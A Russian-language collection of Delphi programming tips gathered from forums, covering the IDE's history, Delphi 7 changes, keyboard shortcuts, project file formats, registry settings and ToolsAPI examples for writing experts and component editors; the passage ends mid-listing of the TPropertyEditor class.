На раннем этапе развития компьютеров IBM PC, Турбо Паскаль являлся одним из наиболее популярных языков разработки программного обеспечения - главным образом потому, что это было вполне серьезный компилятор, который, включая компилятор, редактор и все остальное, стоил всего $19.95 и работал на машине с 64 Kb оперативной памяти.

Под Windows - Турбо Паскаль был перенесен фирмой Borland в 1990 году. А самая последняя версия Borland Pascal 7.0 (имеющая теперь такое название), не считая Delphi, вышла в свет в 1992 году.

Разработка Delphi началась в 1993 году. После проведения beta-тестирования Delphi показали на "Software Development '95". И 14 февраля 1995 года официально объявили о ее продаже в США. В торговлю Delphi попала спустя 14 дней, 28 февраля 1995 года.

Источник: http://dmitry9.nm.ru/info/


Delphi 7. Отличия и особенности.

Отличий немного, а стоит ли переходить это скорее всего надо по обстоятельствам решать.

1) Исчезли компоненты NetMaster и изменился репортинг - если в поддерживаемых/разрабатываемых программах они используются то переход будет не столь простым

2) Очень многие третьесторонние библиотеки пока не имеют версий для 7х Дельфи - следовательно если они используются то надо ждать

3) Очень много добавилось для поддержки Web/Internet/Soap/XML и т.п. если используются новые интернет технологии то быстрый переход на Дельфи 7 может быть весьма оправдан.

4) Если используется Дельфи для построения стандартных виндовых приложений то отличий можно сказать что почти нет, переход либо можно не делать, либо сделать - так как он будет очень простой.

5) Если Вы разрабатываете компоненты, то естественно нужна поддержка и этой версии

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

и кстати ещё исчезли компоненты TclienSocket и TServerSocket

Автор: Radmin

Взято с Vingrad.ru http://forum.vingrad.ru

См. также другие статьи:
Delphi 7 and FastNet Components
Проблема использования компонентов в D6/7 от предыдущих версий
Прозрачность в Delphi 6
Где TServerSocket и TClientSocket в Delphi 7?


Горячие клавиши Дельфи

Горячие клавиши в окне редактора
F1 | контекстная помощь
F3 | продолжить поиск (начать - Ctrl+F )
F4 | выполнить программу до положения курсора
F5 | поставить Break Point
F7 | трассировать с заходом в процедуры
F8 | трассировать без захода в процедуры
F9 | запустить программу
F10 | активизировать главное меню
F11 | открыть/закрыть Object Inspector
F12 | переход между формой и кодом
Ctrl-F1 | контекстная помощь
Ctrl-F2 | прервать выполнение программы
Ctrl-F3 | посмотреть стек
Ctrl-F4 | закрыть текущий модуль
Ctrl-F5 | список переменных для просмотра (Watch List)
Ctrl-F7 | просмотр значений переменных и их изменение
Ctrl-F9 | компилировать проект
Ctrl-F10 | активизировать главное меню
Ctrl-F11 | открыть проект
Ctrl-F12 | список модулей проекта
Shift-F7 | трассировка заходя в каждую процедуру и перескакивание в каждое возникающее событие
Shift-F10 | всплывающее меню
Shift-F11 | добавить модуль к проекту
Shift-F12 | список форм проекта для быстрой навигации
Alt-F4 | закрыть проект и все файлы
Alt-F6 | переключение окон
Alt-F8 | переход к следующей ошибке компиляции
Alt-F7 | переход к предыдущей ошибке компиляции
Ctrl-Shift-F4 | закрыть проект и все файлы
Alt-Ctrl-F11 | менеджер проектов
Alt-Shift-F4 | закрыть все окна, но проект не закрывать
Ctrl-Shift-0..9 | поставить метку 0..9
Ctrl-0..9 | перейти на метку 0..9
Alt-0 | список окон
Ctrl-Enter | открыть файл с именем слова на котором курсор стоит
Ctrl+клик мышкой на слове | перейти на определение этого слова
Alt+выделение текста (мышкой или клавиатурой) | выделение вертикального блока
Ctrl+Shift+Up Ctrl+Shift+Down | переход от объявления процедуры к ее реализации
Ctrl-Shift-C | закончить метод (если он описан - создать шаблон для реализации,если есть реализация - объявить метод)
Ctrl+Space | высветить список методов, свойств объекта (после точки)
Ctrl+Shift+Space | высветить список параметров функции
Ctrl-Shift-E | открыть эксплорер кода
Ctrl-Shift-R | начать/завершить запись макро
Ctrl-Shift-P | выполнить записанное макро
Ctrl-Shift-T | добавить в To Do лист
Ctrl-Shift-U | уменьшить отступ выделенного блока
Ctrl-Shift-I | увеличить отступ выделенного блока
Ctrl-Shift-S | сохранить как
Ctrl-Shift-G | вставить GUID
Ctrl-Shift-B | посмотреть иерархию классов
Ctrl+Shift+Y | удалить от курсора до конца строки
Ctrl+Shift+Z | redo
Ctrl-Alt-W | watch List
Ctrl-Alt-R | grep result
Ctrl-Alt-T | список потоков проекта
Ctrl-Alt-A | вставить дату
Ctrl-Alt-S | вызовы стека
Ctrl-Alt-H | шаблон для документации модуля
Ctrl-Alt-L | локальные переменные
Ctrl-Alt-V | история событий
Ctrl-Alt-B | список Break Points
Ctrl-Alt-M | Модули
Ctrl-N | вставить пустую строку, курсор остается на текущей строке
Ctrl-M Enter | вставить пустую строку, курсор переходит на следующую строку
Ctrl-E | поиск по мере введения символов (Incremental Search)
Ctrl-R | поиск и замена
Ctrl-A | выделить весь текст (только Дельфи 6+)
Ctrl-T | удалить от курсора до конца слова
Ctrl-Y | удалить строку
Ctrl-O, O | вставить все текущие опции компиляции по позиции курсора
Ctrl+O, C | marks a column block
Ctrl+O, I | marks an inclusive block
Ctrl+O, K | marks a non-inclusive block (default when the editor starts)
Ctrl+O, L | marks a line as a block
Ctrl-P | префикс, после которого можно вставить любой ASCII код
Ctrl-S | сохранить текущий файл
Ctrl-F | открыть диалог поиска
Ctrl-J | лист шаблонов
Ctrl-K, С | копирование блока без буфера обмена
Ctrl-Z | отмена
Ctrl-X | вырезать
Ctrl-С | копировать
Ctrl-V | вставить
Ctrl-B | список буферов
Ctrl+K, R | читать блок из файла
Ctrl+K, W | записать блок в файл
Ctrl+O, U | изменить регистр букв в блоке на противоположный
Ctrl+O, A | диалог: "открыть файл"
Ctrl+O, G | переход к строке номер...
Ctrl+K, E | перевод слова в нижний регистр
Ctrl+K, T | выделить слово
Ctrl+K, Y | удалить выделенный блок
Ctrl+K, U | unindent block
Ctrl+K, I | indent block
Ctrl+K, P | печать текста
Ctrl+K, F | перевод слова в вверхний регистр
Alt+[ Alt+] | найти соответствующую скобку
Ctrl+Q, P | вернуть курсор на место последнего редактирования

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Form

Tab Selects the next component
Shift+Tab Selects the previous component
Arrow Keys Selects the nearest component in the direction pressed
Ctrl+Arrow Keys Moves the selected component one pixel at a time
Shift+Arrow Keys Resize the selected component one pixel at a time
Ctrl+Shift+Arrow Keys Moves the selected component one grid at a time (when Snap to Grid is enabled)
Del Deletes the selected component
Esc Selects the containing group (usually the form or group box)

F11 Toggles control between the Object Inspector and the last active form or unit
F12 Toggles between the form and its associated unit
Ctrl+F12 Displays the View Unit dialog box
Shift+F12 Displays the View Form dialog box

Project Manager keyboard shortcuts

Arrow Keys Selects forms and units
Alt+A Adds a form or unit to the project
Alt+R Removes a form or unit from the project
Alt+U Views the selected unit
Alt+F Views the selected form
Alt+O Displays the Project Options dialog box
Alt+D Updates the current project
Enter Views the selected unit
Shift+Enter Views the selected form
Ins Adds a file to the project
Del Removes a file from the project

Object Inspector keyboard shortcuts

Ctrl+I - Tab
Up and Down Arrow Keys Selects properties or event handlers
Left and Right Arrow Keys Edits the value in the value or event column
Tab Toggles between the property and value columns in the Object Inspector
Tab+ Jumps directly to the first property beginning with the letter
Ctrl+Tab Toggles between the properties and events tabs in the Object Inspector
Page Up Moves up one screen of properties

Page Down Moves down one screen of properties
Alt+Down Opens a drop-down list for a property.
Ctrl+Down Opens the object list drop-down.
Ctrl+Enter Selects the ellipsis button (if available) in a selected property.

Package editor

Enter Lets you view the selected unit's source code.
Ins Adds a unit to the current folder (Contains or Requires).
Del Removes the selected item from the package.
Ctrl+B Compiles the current package. If changes to the package are required, a dialog box appears that lists the changes that will be made to the package before it is compiled.
Ctrl+I Installs the current package as a design time package. If changes to the package are required, a dialog box appears that lists the changes that will be made to the package before it is compiled.

CPU Window

Shift+Left Arrow Move left one pane.
Shift+Right Arrow Move right one pane
Shift+Up Arrow Move up one pane.
Shift+Down Arrow Move down one pane.

Автор ответа: Admin
Взято с Vingrad.ru http://forum.vingrad.ru


Типы файлов в среде Дельфи

DPR - Delphi Project File. This is actually a Pascal source file; it just happens to be the main program for the application.

PAS - In Delphi, PAS files are always the source code to either a unit or a form. The main program of an application is in the DPR file.

DFM - These files are always paired with PAS files. The DFM file is the binary data used to set up initial data for components (IE, the properties you set in design mode rather than in code). You can't edit a DFM file with a text editor, but if you open it in Delphi, you will see a textual version of the contents.

DCU - A compiled unit, similar in concept to an OBJ file.

OPT - Project Options; i.e. compiler and linker settings, which form is the main form, what icon to use for the application, etc. Generally, the stuff you edit under Options/Project.

RES - A Windows resource file; generated automatically by Delphi and required by the compilation process. You don't need to worry about this file, but don't delete it either.

EXE - All of the above linked together into runnable format.

~DP - A backup file of the DPR file before the last save operation.

~PA - A backup of a .PAS file.

~DF - A backup of a .DFM file.

Взято с сайта http://www.delphifaq.com

Формат .CAB-файлов
Это формат файлов, который Delphi предлагает теперь своим пользователям для размещения в Интернете. Cabinet-формат является эффективным средством для упаковки нескольких файлов. Cabinet-формат имеет две ключевых характеристики: в отдельном кабинете (.cab-файл) могут храниться несколько файлов, и сжатие данных выполняется в зависимости от типа файлов, что значительно увеличивает коэффициент сжатия. Создание Cabinet-файла зависит также от количества упаковываемых файлов и ожидаемого к ним типа доступа (последовательный, произвольный, одновременный ко всем файлам или доступ к нескольким файлам в одно и тоже время). Delphi не пользуется преимуществами сжатия файлов в зависимости от их типа.

Формат .LIC-файлов
В действительности, как такового, формата .lic-файла не существует. Обычно это такие же текстовые файлы, содержащие одну или две ключевых строки.

Формат .INF-файлов
Все inf-файлы состоят из секций и пунктов. Каждая именованная секция содержит соответствующие пункты. Все inf-файлы начинаются с заголовочной секции. После заголовка включенные секции могут располагаться в любом порядке. Каждый заголовок представляет собой строку с [Именем Заголовка]. Далее следуют пункты: ItemA = ItemDetail. Для получения дополнительной информации обратитесь к документу "Device Information File Reference".

Формат .dpr-файлов
.dpr-файл является центральным файлом Delphi-проекта. Для программы он является первой точкой входа. dpr содержит ссылки на другие файлы проекта и связывает формы с соответствующими модулями. Данный файл нужно редактировать с предельной осторожностью, так как неумелые действия могут привести к тому, что вы не сможете загрузить ваш проект. Этот файл является критическим при загрузке и перемещении (копировании) проекта.

Формат .pas-файлов
Это стандартный текстовый файл, который можно редактировать в текстовом редакторе. Данный файл нужно редактировать с некоторой долей осторожности, поскольку это может закончиться потерей некоторых преимуществ двух других инструментов. К примеру, добавление кода для кнопки с декларацией типа никак не отразится на соответствующем .dfm-файле формы. Все pas-файлы являются критическими при пересборке проекта.

Формат .dfm-файлов
Данный файл содержит описание объектов, расположенных на форме. Содержимое файла можно увидеть в виде текста, вызвав правой кнопкой мыши контекстное меню и выбрав пункт "view as text", или же с помощью конвертера convert.exe (расположенного в каталоге bin), также позволяющего перевести файл в текстовый вид и обратно. Данный файл нужно редактировать очень осторожно, поскольку это может закончиться тем, что IDE не сможет загрузить форму. Этот файл является критическим при перемещении и пересборке проекта.

Формат .DOF-файлов
Данный текстовый файл содержит текущие установки для опций проекта, как например, настройки компилятора и компоновщика, каталоги, условные директивы и параметры командной строки. Данные установки могут быть изменены пользователем путем изменений настроек проекта.

Формат .DSK-файлов
Данный текстовый файл хранит информацию относительно состояния вашего проекта, как например, открытое окно и его координаты. Подобно .DOF-файлу, данный файл создается на основе текущей обстановки проекта.

Формат .DPK-файлов
Данный файл содержит исходный код пакета (аналогично .DPR-файлу стандартного проекта Delphi). Подобно файлу .DPR, .DPK-файл также является простым текстовым файлом, который можно редактировать (см. предупреждение выше) в стандартном редакторе. Одной из причин, по которой вы можете это сделать - использование компилятора командной строки.

Формат .DCP-файлов
Данный бинарный image-файл состоит фактически из реально скомпилированного пакета. Информация о символах и дополнительных заголовках, требуемых IDE, полностью содержится в .DCP-файле. Чтобы собрать (build) проект, IDE должен иметь доступ к этому файлу.

Формат .DPL-файла
В действительности это выполняемый runtime-пакет. Данный файл является Windows DLL с интегрированными Delphi-специфическими характеристиками. Данный файл необходим в случае развертывания приложения, использующего пакеты.

Формат .DCI-файла
Данный файл содержит как стандартные, так и определенные пользователем шаблоны кода, используемых в IDE. Файл может редактироваться стандартным текстовым редактором, или в самой IDE. Как и любой текстовый файл данных, используемый Delphi, редактировать его самостоятельно не рекомендуется.

Формат .DCT-файла
Это "частный" бинарный файл, содержащий информацию об определенных пользователями шаблонах компонентов. Данный файл не может быть отредактирован никакими способами через IDE. Поскольку данный файл является "личным" файлом IDE, то совместимость с последующими версиями Delphi не гарантируется.

Формат .TLB-файла
.TLB-файл является "частным" двоичным файлом библиотеки типов. Обеспечивает информацией для идентификации типов объектов и интерфейсов, доступных в ActiveX сервере. Подобно модулю или заголовочному файлу, .TLB служит в качестве хранилища для необходимой символьной информации приложения. Поскольку данный файл является "личным", то совместимость с последующими версиями Delphi не гарантируется.

Формат .DRO-файла
Данный текстовый файл содержит информацию об объектном хранилище. Каждый пункт данного файла содержит специфическую информацию о каждом доступном элементе в хранилище объектов. Хотя этот файл и является простым текстовым файлом, мы настоятельно не рекомендуем править его вручную. Хранилище может редактироваться только с помощью меню Tools|Repository в самом IDE.

Формат .RES-файла
Это стандартный двоичный windows-формата файл ресурсов, включающий в себя информацию о приложении. По умолчанию, Delphi создает новый .RES-файл при каждой компиляции проекта в исполняемое приложение.

Формат .DB-файла
Файлы с таким расширением - стандартные файлы Paradox.

Формат .DBF-файла
Файлы с таким расширением - стандартные dBASE-файлы.

Формат .GDB-файла
Файлы с таким расширением - стандартные Interbase-файлы.

Формат .DMT-файла
Этот "частный" бинарный файл содержит встроенные и определенные пользователем шаблоны меню. Данный файл не может быть отредактирован никакими способами через IDE. Поскольку данный файл является "личным", то совместимость с последующими версиями Delphi не гарантируется.

Формат .DBI-файла
Данный текстовый файл содержит информацию, необходимую для инициализации Database Explorer. Данный файл не может быть отредактирован никакими способами через Database Explorer.

Формат .DEM-файла
Данный текстовый файл содержит некоторые стандартные, привязанные к стране, форматы компонента TMaskEdit. Как и любой текстовый файл данных, используемый Delphi, редактировать его самостоятельно не рекомендуется.

Формат .OCX-файла
.OCX-файл является специализированной DLL, которая содержит все или несколько функций, связанных с элементом управления ActiveX. Файл OCX задумывался как "обертка", которая содержала бы сам объект, и средства для связи с другими объектами и серверами.

Взято с http://delphiworld.narod.ru


Как заставить стартовать Дельфи без заставки?

Командной строкой:

Delphi32.EXE -ns

Взято с сайта http://www.delphifaq.com


Как заставить стартовать Дельфи без проекта?

Командной строкой:
Delphi32.exe -np

Взято с сайта http://www.delphifaq.com


Проблема использования компонентов в D6/7 от предыдущих версий

Решение в случае ошибок компиляции пакетов типа: Missing unit 'Proxies.pas' и Missing DsgnIntf.pas

1) Сначала заменить
 uses DsgnIntf;
на
 uses DesignIntf, DesignEditors;

2) Затем
Добавить DesignIde.dcp в лист требуемых модулей

Взято с сайта http://www.delphifaq.com


Скрытые настройки Дельфи

Some undocumented registry settings of Delphi 5 (which -slightly adapted- might also work with Delphi 4 and below) modify the behavior of the Delphi component palette in a manner you may like!
Most values are stored as strings, and boolean values are represented as "1" for true and "0" for false. All values are stored in

HKEY_CURRENT_USER

As always, use of this information is at your own risk... ;-)

Software\Borland\Delphi\5.0\Extras\AutoPaletteSelect

will cause a tab on the component palette to be automatically selected when the mouse is hovering over it. If the mouse is in the top two- thirds (2/3) of the tab, the palette for that tab will automatically be displayed.

Software\Borland\Delphi\5.0\Extras\AutoPaletteScroll

will make you scroll left and right automatically whenever the mouse is positioned over the relevant arrow.

Software\Borland\Delphi\5.0\Editor\Options\NoCtrlAltKeys

Disables menu item Ctrl+Alt key sequences for international keyboards

Software\Borland\Delphi\5.0\Form Design\AlwaysEnableMiddleEast

Forces Right-to-Left text in the form designer (?)

Software\Borland\Delphi\5.0\Extras\FontNamePropertyDisplayFontNames

Display the fonts in the object inspector dropdown in the font's actual style (slow with many fonts installed). See also DsgnIntf.FontNamePropertyDisplayFontNames in D5.

Software\Borland\Delphi\5.0\Compiling\ShowCodeInsiteErrors

Show compilation errors found by CodeInsite in the message view window

Software\Borland\Delphi\5.0\Globals\PropValueColor

Fill in with a string like "clGreen" to change the color of the right half (properties) of the Object Inspector.

Software\Borland\Delphi\5.0\Disabled Packages

This is the place you put Delphi Direct :)

Software\Borland\Delphi\5.0\Globals\TwoDigitYearCenturyWindow

Default value for TwoDigitYearCenturyWindow (see the help file)

Software\Borland\Delphi\5.0\Component Templates\CCLibDir

Alternative component templates directory (shared/network)

Software\Borland\Delphi\5.0\FormDesign\DefaultFont="Arial,8" [D4] or "Arial,8,Bold" [D5]

The default for new forms (you might prefer using the repository's default form checkbox instead)

Software\Borland\Delphi\5.0\Wizards

Alternate key to store Expert/Wizard DLLs to load at startup

Software\Borland\Delphi\5.0\Debugging\DontPromptForJITDebugger

Don't ask to change the current JIT debugger (?)

Software\Borland\Delphi\5.0\Version Control\VCSManager

The DLL used for the version control interface in the IDE.

Software\Borland\Delphi\5.0\Globals\PrivateDir

A way to specify an alternative directory for the location for the Delphi configuration files when running the application from a network drive or the CD-ROM.

Software\Borland\Delphi\5.0\Main Window\Palette Visible
Software\Borland\Delphi\5.0\Main Window\Speedbar Visible
Software\Borland\Delphi\5.0\Main Window\Palette Hints
Software\Borland\Delphi\5.0\Main Window\Speedbar Hints
Software\Borland\Delphi\5.0\Main Window\Split Position

These seem to have no effect at runtime, but are read by the IDE. The actually used values come from

HKEY_CURRENT_USER\Software\Borland\Delphi\5.0\Toolbars

Software\Borland\Delphi\5.0\ProjectManager\Dockable
Software\Borland\Delphi\5.0\PropertyInspector\Dockable
Software\Borland\Delphi\5.0\CallStackWindow\Dockable
Software\Borland\Delphi\5.0\ModuleWindow\Dockable

Read but unused settings. Used values come from DSK files.

There are lots of other interesting registry keys that aren't modifiable in the IDE, but they all have values written by default, so you can find and play with them much easier.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Смена свойств приложения, открываемого, по умолчанию в среде при её запуске

Большинство стандартных темплейтов зашиты в delphide70.bpl (70 - версия), остальные - в каталоге Objrepos. Описаны же последние в файле bin\delphi32.dro. Т.о:
1. Добавляем в "delphi32.dro" строки:

[C:\Program Files\Lang\Delphi7\ObjRepos\MyApp\MyApp]
Type=ProjectTemplate
Page=Projects
Name=My Application
Description=This is my application template
Author=Eugene
Icon=C:\Program Files\Lang\Delphi7\ObjRepos\MyApp\MyApp.ico
DefaultProject=1
Designer=dfm

(для темплейтов формы Type=FormTemplate, DefaultMainForm=0/1, DefaultNewForm=0/1)
2. Размещаем нашу темплейт-прогу в каталоге "C:\Program Files\Lang\Delphi7\ObjRepos\MyApp\" и называем её "MyApp.dpr".
3. Жмём "File/New/Application" (т.к. у нас DefaultProject=1), либо заходим во вкладку "Projects", а затем кликаем два раза по "My Application".
4. Радуемся!

Автор: Jin X

Взято из http://forum.sources.ru


Отображения величин в Watch List

В BP 7.0 возможно было регулировать форму отображения величин
в процессе отладки в окне ""Watch List"". Возможно ли такое в Delphi?

Такой эффект можно достичь используя следующие спецификации формата отображения (практически совпадающие с BP 7.0), которые указываются через запятую после идентификатора инспектируемой величины:

Символ   Применяется к типу Функциональность
-------- ------------------------------------------------------------------
H или X  Integers           Отображает целые величины в 16-ричном формате
                           с префиксом 0x

C        Char,strings       Показывает специальные символы (ASCII 0..31).
                           По умолчанию они отображаются в виде
                           esc-последовательности (/n , /t , и т.п.)

D        Integers           Отображает целые величины в десятичном формате.

Fn       Floating point     Показывает n десятичных знаков
                           (где n = 2..18, по умолчанию 7 )

nM       All                Дамп памяти, где n задает количество отображаемых
                           байт памяти, начиная с адреса величины.
                           По умолчанию каждый байт представляется двумя
                           16-ричными цифрами, но возможно также совместное
                           использование nM с другими форматами.

P        Pointers           Отображает величину, как указатель в формате seg:ofs.

R        Records, classes,  Показывает не только величины полей,
        objects            но и сами поля, напрмер, как (X:2; Y:5)
                           вместо (2, 5).

S        Char,strings       Показывает любые неотображаемые ASCII символы в виде #nn.
                           Используется вместе с nM.

Автор: StayAtHome

Взято с Vingrad.ru http://forum.vingrad.ru


Работа с ToolsAPI (Эксперты и редакторы свойств)

Cодержание раздела:

Как создать свой пункт меню в Дельфи IDE?
Как создать простейший эксперт
Отладка экспертов
Delphi 7 ToolsAPI: Компоненты
Создание редактора свойства
Ещё примеры экспертов
Использование открытых интерфейсов
Текущий модуль и проект
Код определения свойств
Регистрация редактора свойства
Показ свойств во время выполнения программы
Текущий модуль и проект
Редактор свойства Color с заданными ограничениями
Как найти все установленные компоненты? New!
Програмно меняем Delphi's Tool list? New!

См. также статьи в других разделах:
Функции редактора полей во время выполнения программы


Как создать свой пункт меню в Дельфи IDE?

{....}

uses ToolsApi, Menus;

{....}

var
  item: TMenuItem;
begin
  {get reference to delphi's mainmenu. You can handle it like a common TMainMenu}
  with (BorlandIDEServices as INTAServices).GetMainMenu do
  begin
    item := TMenuItem.Create(nil);
    item.Caption := 'A Mewn caption';
    Items.Add(item);
  end;
end;

Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Как создать простейший эксперт?

{
This unit can be compiled into a package and will then appear in the Delphi
Help menu.
}
unit SDCSimpleExpert;

interface

uses ToolsApi;

type
  TSDCSimpleExpert = class(TNotifierObject, IOTAMenuWizard, IOTAWizard)
  public
    function GetIDString: string;
    function GetName: string;
    function GetState: TWizardState;
    procedure Execute;
    function GetMenuText: string;
  end;

procedure Register;

implementation

uses Dialogs;

procedure Register;
begin
  {register expert}
  RegisterPackageWizard(TSDCSimpleExpert.Create);
end;

{ TSDCSimpleExpert }

procedure TSDCSimpleExpert.Execute;
begin
  {code to execute when menu item is clicked}
  ShowMessage('Hello SwissDelphiCenter Simple Expert.');
end;

function TSDCSimpleExpert.GetIDString: string;
begin
  {unique expert identifier}
  Result := 'SwissDelphiCenter.SimpleExpert';
end;

function TSDCSimpleExpert.GetMenuText: string;
begin
  {caption of menu item in help menu}
  Result := 'SwissDelphiCenter Simple Expert';
end;

function TSDCSimpleExpert.GetName: string;
begin
  {name of the expert}
  Result := 'SwissDelphiCenter Simple Expert';
end;

function TSDCSimpleExpert.GetState: TWizardState;
begin
  Result := [wsEnabled];
end;

end.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Отладка экспертов

Debug Delphi 3 experts with Delphi 3
Delphi 3 has a new feature "debug DLLs". It can be used to debug experts with the internal debugger. Just follow these simple steps, and debugging an expert can be fun:

Make sure that the expert is not installed. If there is this entry
\CURRENT_USER\software\Delphi\3.0\experts,
myexpert=\projects\myexpert\expert.dll
rename this entry to "expert.xxx". (don't delete it, you'll need it later).
Otherwise, you cannot compile a new version.

Run Delphi, open your expert's project as used, compile it and set the break points you think you need.

Go to the menu item run | parameters. This is the new Delphi 3 feature mentioned above.

Surprise: the host application is Delphi itself! So, next to the field "host app", enter something like e:\Programs\delphi3\bin\delphi32.exe (with path)

Second trick: now we install the expert... If you have "expert.xxx" installed, rename that to "expert.dll". This will be used by any Delphi instance started from now on.

Run "your application" (= Delphi 3) using menu item run | run.
If you have enough RAM, Delphi is loaded and this instance will have your expert installed.
Activate the expert, you'll have the possibility to use the comfort of the first instance's internal debugger.

Close the right instance of Delphi - and you can modify/ recompile etc. your expert.

Взято с сайта http://www.delphifaq.com


Delphi 7 ToolsAPI: Компоненты

Создание pop-up меню своего компонента и кое-что еще о классе TComponentExpert
Давайте рассмотрим создание простейшего одноуровневого контекстного меню на своем компоненте, которое будет открываться при щелчке правой кнопкой по нему в самом верху контекстного меню Delphi.

Прежде всего вам следует разделить код вашего компонента на Design-time и Run-time. Для этого перенесите ваш компонент в модуль, с названием, например, MyComponent.pas, а процедуры регистрации его в палитре компонентов (procedure Register и т.д.) в модуль, с названием, например, MyComponentReg. На такие меры приходится идти из-за того, что Borland не включила в исходные коды исходник файла Proxies.pas.

Итак, получим два файла:

MyComponent.pas:
unit MyComponent;

interface

uses
  SysUtils, Classes;

type
  TMyComponent = class(TComponent)
  private
    { Private declarations }
  protected
    { Protected declarations }
  public
    { Public declarations }
  published
    { Published declarations }
  end;

MyComponentReg.pas
unit MyComponentReg;

interface
uses DesignIntf, DesignEditors, MyComponent, Classes, Dialogs;

type
   TMyComponentEditor = class(TComponentEditor)
   private
      procedure ExecuteVerb(Index: Integer); override;
      function GetVerbCount: Integer; override;
      function GetVerb(Index: Integer): string; override;
      procedure Edit; override;
   end;

procedure Register;

implementation

procedure Register;
begin
   RegisterComponents('Samples', [TMyComponent]);
   RegisterComponentEditor(TMyComponent, TMyComponentEditor);
end;

{ TMyComponentEditor }

procedure TMyComponentEditor.Edit;
begin
  ShowMessage('TMyComponent component v1.0 by Rastrusny Vladislav');
end;

procedure TMyComponentEditor.ExecuteVerb(Index: Integer);
begin
   inherited;
   case Index of
      0: //Действие при выборе первого определенного пункта меню
   end;
end;

function TMyComponentEditor.GetVerb(Index: Integer): string;
begin
   case Index of
      0: Result := 'Demo Menu Item 1'; //Название первого пункта меню
   end;
end;

function TMyComponentEditor.GetVerbCount: Integer;
begin
   Result := 1;
end;

end.

Рассмотрим теперь, что же тут написано. В первом файле просто определен компонент MyComponent. В нем вы определяете все свойства и методы вашего компонента. Все как обычно. Теперь - второй файл MyComponentReg. Он содержит процедуры регистрации компонента и процедуру регистрации редактора компонента (TComponentEditor). Этот редактор и будет отображать меню и прочие безобразия. Итак:

Определяем TMyComponentEditor как потомка TComponentEditor. Сам по себе этот класс является "воплотителем" интерфейса IComponentEditor, хотя нам все равно. Для того, чтобы все это заработало нам нужно будет переопределить стандартные методы класса TComponentEditor. Рассмотрим его:

type
  TComponentEditor = class(TBaseComponentEditor, IComponentEditor)
  private
    FComponent: TComponent;
    FDesigner: IDesigner;
  public
    constructor Create(AComponent: TComponent; ADesigner: IDesigner); override;
    procedure Edit; virtual;
    function GetVerbCount: Integer; virtual;
    function GetVerb(Index: Integer): string; virtual;
    procedure ExecuteVerb(Index: Integer); virtual;
    procedure Copy; virtual;
    procedure PrepareItem(Index: Integer; const AItem: IMenuItem); virtual;
    property Component: TComponent;
    property Designer: IDesigner;
  end;

Конструктор нам переопределять не нужно. Поэтому начнем с описания метода Edit.

Метод Edit вызывается при двойном щелчке по компоненту. Вот так просто! При двойном щелчке на компоненте! Если метод не определен, то при двойном щелчке будет выполнен первый пункт меню, которое вы определили.

Метод GetVerbCount: Integer должен возвращать количество определенных вами пунктов меню.

Метод GetVerb(Index: Integer): string должен возвращать название пункта меню № Index.

Метод ExecuteVerb(Index: Integer) вызывается при щелчке на пункте меню, определенном вами. Index - номер меню из метода GetVerb. В нем вы определяете действия, которые будут происходить при нажатии на ваш пункт меню.

Метод Copy вызывается при копировании вашего компонента в буфер обмена

Свойство Component как вы уже наверное догадались позволяет получить доступ к компоненту, на котором щелкнули мышью и т.п.

Метод PrepareItem(Index: Integer; const AItem: IMenuItem) вызывается для каждого определенного вами пункта меню № Index и через параметр AItem передает сам пункт меню для настройки. Для работы нам нужно будет рассмотреть саму реализацию интерфейса IMenuItem. Он определен в модуле DesignMenus.pas и является потомком интерфейса IMenuItems.

IMenuItems = interface
    ['{C9CC6C38-C96A-4514-8D6F-1D121727BFAF}']

    // public
    function SameAs(const AItem: IUnknown): Boolean;
    function Find(const ACaption: WideString): IMenuItem;
    function FindByName(const AName: string): IMenuItem;
    function Count: Integer;
    property Items[Index: Integer]: IMenuItem read GetItem;
    procedure Clear;

    function AddItem(const ACaption: WideString; AShortCut: TShortCut;
      AChecked, AEnabled: Boolean; AOnClick: TNotifyEvent = nil;
      hCtx: THelpContext = 0; const AName: string = ''): IMenuItem; overload;

    function AddItem(AAction: TBasicAction;
      const AName: string = ''): IMenuItem; overload;

    function InsertItem(const ACaption: WideString;
      AShortCut: TShortCut; AChecked, AEnabled: Boolean; AOnClick: TNotifyEvent = nil;
      hCtx: THelpContext = 0; const AName: string = ''): IMenuItem; overload;
    function InsertItem(Index: Integer; const ACaption: WideString;
      AShortCut: TShortCut; AChecked, AEnabled: Boolean; AOnClick: TNotifyEvent = nil;
      hCtx: THelpContext = 0; const AName: string = ''): IMenuItem; overload;

    function InsertItem(AAction: TBasicAction;
      const AName: string = ''): IMenuItem; overload;
    function InsertItem(Index: Integer; AAction: TBasicAction;
      const AName: string = ''): IMenuItem; overload;

    function AddLine(const AName: string = ''): IMenuItem;

    function InsertLine(const AName: string = ''): IMenuItem; overload;
    function InsertLine(Index: Integer; const AName: string = ''): IMenuItem; overload;
  end;

  IMenuItem = interface(IMenuItems)
    ['{DAF029E1-9592-4B07-A450-A10056A2B9B5}']

    // public
    function Name: TComponentName;
    function MenuIndex: Integer;
    function Parent: IMenuItem;
    function HasParent: Boolean;
    function IsLine: Boolean;

    property Caption: WideString;
    property Checked: Boolean;
    property Enabled: Boolean;
    property GroupIndex: Byte;
    property HelpContext: THelpContext;
    property Hint: string;
    property RadioItem: Boolean;
    property ShortCut: TShortCut;
    property Tag: LongInt;
    property Visible: Boolean;
  end;

Начнем с конца. Т.е. с IMenuItem. Как видно, почти все члены интерфейса соответствуют членам класса TMenuItem. Т.е. обратившись в методе PrepareItem к AItem.Enabled:=false мы запретим выбор этого элемента меню. Что же касается класса TMenuItems, то они, видимо, предназначены для манипулирования элементом меню в качестве родительского для нескольких других. Думаю, в них опытным путем разобраться тоже не составит труда.

Что же касается процедуры RegisterComponentEditor, то она принимает два параметра: первый - класс компонента, для которого создается редактор свойств и второй - собственно сам класс редактора свойств.

Создание редакторов свойств
Для создания редактора свойств нужно написать класс, унаследованный от TBasePropertyEditor. Но мы рассмотрим более функционального его потомка TPropertyEditor

  TPropertyEditor = class(TBasePropertyEditor, IProperty, IProperty70)
  protected
    procedure SetPropEntry(Index: Integer; AInstance: TPersistent;
      APropInfo: PPropInfo); override;
  protected
    function GetFloatValue: Extended;
    function GetFloatValueAt(Index: Integer): Extended;
    function GetInt64Value: Int64;
